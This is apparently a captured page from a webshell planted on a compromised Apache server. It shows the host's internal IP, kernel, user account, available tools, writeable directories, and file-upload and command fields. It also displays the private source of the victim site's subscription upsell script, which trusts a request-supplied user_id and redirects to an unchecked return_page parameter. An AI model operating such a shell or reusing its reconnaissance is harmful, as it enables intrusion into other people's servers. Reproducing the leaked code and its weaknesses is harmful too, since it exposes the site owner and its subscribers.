403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/americasgotfunding.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/americasgotfunding.com/order_member.php
<?php
require_once($_SERVER['DOCUMENT_ROOT'].'/assets/includes/php_header.php');
$initial_subscription_fee = $_INITIAL_FEE;
$monthly_subscription_fee = $_MONTHLY_FEE;

/*if($_SESSION['user_subscriptions']['id_2']['active'] == 1 && $_SESSION['user_subscriptions']['id_2']['cancel_date'] == '0000-00-00' && $_SESSION['user_subscriptions']['id_3']['active'] == 1 && $_SESSION['user_subscriptions']['id_3']['cancel_date'] == '0000-00-00') {
	header("Location: membersonly/new_opportunities.php");
	exit();
}*/

if(!$_POST) {
	if(empty($_SESSION['user_subscriptions']['id_1']['user_id'])) {
		header("Location: /");
		exit();
	} else {
		$user_id = $_SESSION['user_subscriptions']['id_1']['user_id'];
		if(!empty($_GET['upsell'])) {
			$_SESSION['upsell_tracking_version'] = 'site order after';
		}
		if($_SESSION['upsell_tracking_version']=='site order after') {
			include('order_research_service_before.php');
		} else {
			include('order_research_service_after.php');
		}
		exit();
	}
}

$user_id = $_REQUEST['user_id'];

/*
 * IE doesn't see <input type='image' /> exactly as a submit button, it does however add the (x,y) coordinate to the submitted form values (name_x, name_y) 
 */
if($_REQUEST['submit_add_subscription_x'] || $_REQUEST['submit_add_subscription']) {
	$_REQUEST['submit'] = 'Add Subscription'; //please add grant research to my subsctiptions
} else if($_REQUEST['submit_no_thanks_x'] || $_REQUEST['submit_no_thanks']) {
	$_REQUEST['submit'] = 'No Thanks'; //do not add grant research to my subscriptions 
} else {
	$_REQUEST['submit'] = 'Default'; //the original order page 
}

switch($_REQUEST['submit']) {
	//submitted second order page	
	case "Add Subscription": 
		$postfields = array();
		
		$postfields['user_id'] = $user_id;
		$postfields['sendemail'] = 'yes';
		$postfields['email_type'] = 'Confirmation Subscription Id 2';
		$postfields['site'] = $_SITE_CODE;
		$postfields['ipaddress'] = $_SERVER['REMOTE_ADDR'];
		$postfields['source'] = (!empty($_SESSION['upsell_tracking_version'])) ? $_SESSION['upsell_tracking_version'] : 'site member';
		$postfields['rep'] = '';
		
		$subscriptions_params = "subscriptions[]=2"; //right now just using the defaults for grant research subscription
		$subscriptions_params .= "&subscription_amount[]=29.95";  
		$subscriptions_params .= "&subscription_trial[]=30";
		$subscriptions_params .= "&subscriptions[]=3"; //right now just using the defaults for grant research subscription
		$subscriptions_params .= "&subscription_amount[]=5.00";  
		$subscriptions_params .= "&subscription_trial[]=30";	

		$result = false; 
		$errormessage = '';
		 
		$lcapi = new LCAPI();
		$result = $lcapi->PostFields("https://surfcrm.com/lcapi/AddUserSubscriptions.php?$subscriptions_params",$postfields);
		
		if (!$result) {
			$error_message = "There was an unexpected error."; 
		} else if($result->status == 'Failure') {
			// failed transaction - show alert message
			$error_message = $result->errormessage;
		} else {
			if(!empty($_GET['upsell'])) {
				$_SESSION['upsell_tracking_version'] = 'site order after';
			}
			if(empty($_SESSION['upsell_tracking_version'])) {
				$_SESSION['upsell_tracking_version'] = 'order member';
			}
			
			file_get_contents('https://surfcrm.com/lcapi/UpsellTracking.php?site_code='.urlencode($_SITE_CODE).'&version='.urlencode($_SESSION['upsell_tracking_version']).'&type=click');
			
			$_SESSION['user_subscriptions']['id_2']['active'] = 1;
			$_SESSION['user_subscriptions']['id_2']['cancel_date'] = '0000-00-00';
			$_SESSION['user_subscriptions']['id_3']['active'] = 1;
			$_SESSION['user_subscriptions']['id_3']['cancel_date'] = '0000-00-00';
			if($_REQUEST['return_page']) {
				header("Location: membersonly/".$_REQUEST['return_page']);
			} else {
				header("Location: membersonly/new_opportunities_new.php?page=alerts_settings&goto=alerts_settings&site={$_SITE_CODE}&client_id={$user_id}");
			}
			exit();
		}
		
		include('order_research_service_form_member.php'); 
		exit(); 
		break; 
	//continue to confirmation page	*/
	case "No Thanks":
		unset($_SESSION['upsell_tracking_version']);
		header("Location: membersonly/index.php"); 
		break; 
	//initial order page 
	default: 
		header("Location: membersonly/index.php"); 
		break; 
}

Youez - 2016 - github.com/yon3zu
LinuXploit